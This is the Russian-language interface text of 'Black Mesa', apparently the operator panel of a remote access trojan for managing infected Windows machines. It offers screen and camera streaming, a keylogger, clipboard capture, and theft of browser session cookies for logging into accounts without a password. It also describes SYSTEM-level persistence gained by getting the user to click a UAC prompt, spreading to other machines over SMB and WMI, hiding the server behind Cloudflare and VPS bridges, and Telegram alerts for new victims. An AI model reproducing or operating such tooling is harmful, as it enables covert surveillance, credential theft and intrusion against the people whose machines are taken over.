Black Mesa
офлайн
Обзор Новых: 0 сегодня · 0 за неделю · 0 за месяц · подключений сегодня: 0
Появление новых клиентов за 30 дней
Клиенты
Статус
ПК
Пользователь
ОС
IP
Страна
Установка агента Команда для новой машины
Адрес: определяется…
Домены Агенты перебирают адреса по порядку: главный первым

Мосты VPS, через которые публикуются домены — IP этого сервера в DNS не попадает

Cloudflare

Токен проверяется перед сохранением: нерабочий токен лучше не хранить, иначе домены будут появляться в панели, а агенты не смогут подключиться.
Нужны права Zone:DNS:Edit и Zone:Zone:Read на нужные зоны. Домен должен быть уже добавлен в Cloudflare и переключён на его nameservers — зону панель не создаёт, это делается у регистратора.

Настройка при добавлении

Прокси включён: адрес сервера скрыт, но работают только порты 443 и 8443 — на других Cloudflare отвечает по DNS и отказывает в соединении, что выглядит как лежащий сервер.
Прокси выключен: работает любой порт, но настоящий адрес сервера виден в DNS.
Telegram Уведомления о новых клиентах
У @BotFather команда /newbot, затем скопировать токен.
Напиши боту сообщение, открой api.telegram.org/bot<TOKEN>/getUpdates и найди chat.id. У группы id отрицательный, и бота надо в неё добавить.
Клиент

Скачать в браузер

Загрузить на агент

Источник

снимок текущего экрана, без начала трансляции

Трансляция экрана

Камера

Терминал

—
CPU
—
Память
—
Диск

Адаптеры

Прослушиваемые порты

Установленные соединения

Отключение доступно для записей реестра. Службы и задачи отключаются своими средствами — здесь они показаны для полноты картины.

Значения

Подразделы

Эти действия выполняются сразу на выбранной машине. Перезагрузка и выключение прервут её работу.
Изменение настроек применяется после перезагрузки машины. Требуются права администратора на агенте.
Состояние: проверяется…
Окно UAC не видно в трансляции. Оно рисуется на защищённом рабочем столе, куда агент не имеет доступа. Подтвердить должен человек за машиной — нажмите кнопку и попросите его нажать «Да» в окне, которое появится на его экране.

Одно подтверждение устанавливает службу, задачу загрузки и службу-страж. После этого агент запускается при загрузке от SYSTEM — до входа любого пользователя, — и больше не спросит.

Клавиатура

кейлоггер выключен
накопленных нажатий нет

Буфер обмена

буфер пуст

Браузеры и хранилища

Сессии всех сайтов — куки, отфильтрованные по токенам авторизации (session, auth, token, jwt). Это то, чем можно войти в аккаунт без пароля.

Переход на другую машину

Нужны права администратора на целевой машине. Учётная запись проверяется по SMB, выполнение идёт через WMI.
Агент может скачать и установить перечисленное ниже прямо на машине. Установка с правами администратора вызовет запрос UAC на экране пользователя — это видно тому, кто сидит за машиной.
Виртуальная машина даёт отдельный компьютер внутри этого. Ты работаешь в ней, человек за клавиатурой продолжает работать в своей системе — они не мешают друг другу, потому что это разные машины.

Вывод